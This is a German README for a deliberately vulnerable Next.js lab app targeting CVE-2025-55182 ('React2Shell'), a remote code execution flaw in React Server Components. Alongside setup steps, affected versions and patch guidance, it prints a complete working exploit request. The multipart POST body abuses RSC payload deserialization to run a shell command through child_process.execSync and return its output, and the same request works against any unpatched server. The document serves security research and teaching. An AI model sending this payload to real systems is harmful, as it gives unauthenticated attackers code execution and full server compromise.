Next.js CVE-2025-55182 Konzeptnachweis

Dies ist eine Next.js-Anwendung als Konzeptnachweis, die anfällig für CVE-2025-55182 (auch bekannt als „React2Shell") ist, eine kritische Schwachstelle für Remote Code Execution (RCE) in React Server Components.

⚠️ WARNUNG

Diese Anwendung ist absichtlich anfällig und sollte NUR verwendet werden für:

• Sicherheitsforschung
• Ausbildungszwecke
• Tests in isolierten Umgebungen

NICHT:

• In der Produktion bereitstellen
• Unsicheren Netzwerken aussetzen
• Mit sensiblen Daten verwenden

Schwachstellendetails

CVE-2025-55182 betrifft:

• React-Versionen 19.0.0 bis 19.2.0
• Next.js-Versionen 15.x und 16.x (mit App Router)
• Anwendungen, die React Server Components (RSC) verwenden

Die Schwachstelle beruht auf unsicherer Deserialisierung in der Verarbeitung von React Server Component-Payloads, die es nicht authentifizierten Angreifern ermöglicht, über speziell gestaltete HTTP-Anfragen beliebigen Code auf dem Server auszuführen.

Setup-Anleitung

Option 1: Lokale Entwicklung

1. Abhängigkeiten installieren:

   root@kitploit:~

   npm install
   

2. Entwicklungsserver starten:

   root@kitploit:~

   npm run dev
   

3. Auf die Anwendung zugreifen: Öffnen Sie http://localhost:3000 in Ihrem Browser.

Option 2: Docker

1. Docker-Image erstellen:

   root@kitploit:~

   docker build -t nextjs-cve-2025-55182 .
   

2. Container ausführen:

   root@kitploit:~

   docker run --rm -p 3000:3000 nextjs-cve-2025-55182
   

3. Auf die Anwendung zugreifen: Öffnen Sie http://localhost:3000 in Ihrem Browser.

Anwendungsstruktur

• Login-Seite (/): Ein einfaches Anmeldeformular mit React Server Components
• Dashboard (/dashboard): Eine geschützte Seite, die nach der Anmeldung zugänglich ist

Anfällige Komponenten

Diese Anwendung verwendet:

• Next.js 15.1.0 (anfällige Version)
• React 19.0.0 (anfällige Version)
• App Router mit React Server Components (RSC)
• Grundlegende create-next-app-Struktur

Die Schwachstelle existiert im Deserialisierungsmechanismus von RSC-Payloads, der ausgenutzt werden kann, indem bösartige Multipart-HTTP-Anfragen direkt an Seitenrouten gesendet werden (z. B. http://localhost:3000 oder http://localhost:3000/dashboard). Der Exploit funktioniert auf jeder Seite, die React Server Components verwendet.

Ausnutzung

Die Schwachstelle kann ausgenutzt werden, indem speziell gestaltete HTTP-Anfragen direkt an Seitenrouten gesendet werden (z. B. http://localhost:3000 oder http://localhost:3000/dashboard). Der Exploit funktioniert auf jeder Seite, die React Server Components verwendet.

Kurzes Exploit-Beispiel

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Der Exploit zielt direkt auf Seitenrouten ab – funktioniert auf localhost:3000 (Startseite) oder localhost:3000/dashboard (Dashboard-Seite).

Abhilfe

Um diese Schwachstelle zu beheben:

• Aktualisieren Sie React auf Version 19.0.1, 19.1.2 oder 19.2.1+
• Aktualisieren Sie Next.js auf eine gepatchte Version (15.0.5+ oder 16.x mit Patches)

Referenzen

• CVE-2025-55182
• React-Sicherheitshinweis
• Next.js-Sicherheitshinweis

Lizenz

Dieser Konzeptnachweis wird nur zu Bildungs- und Sicherheitsforschungszwecken bereitgestellt.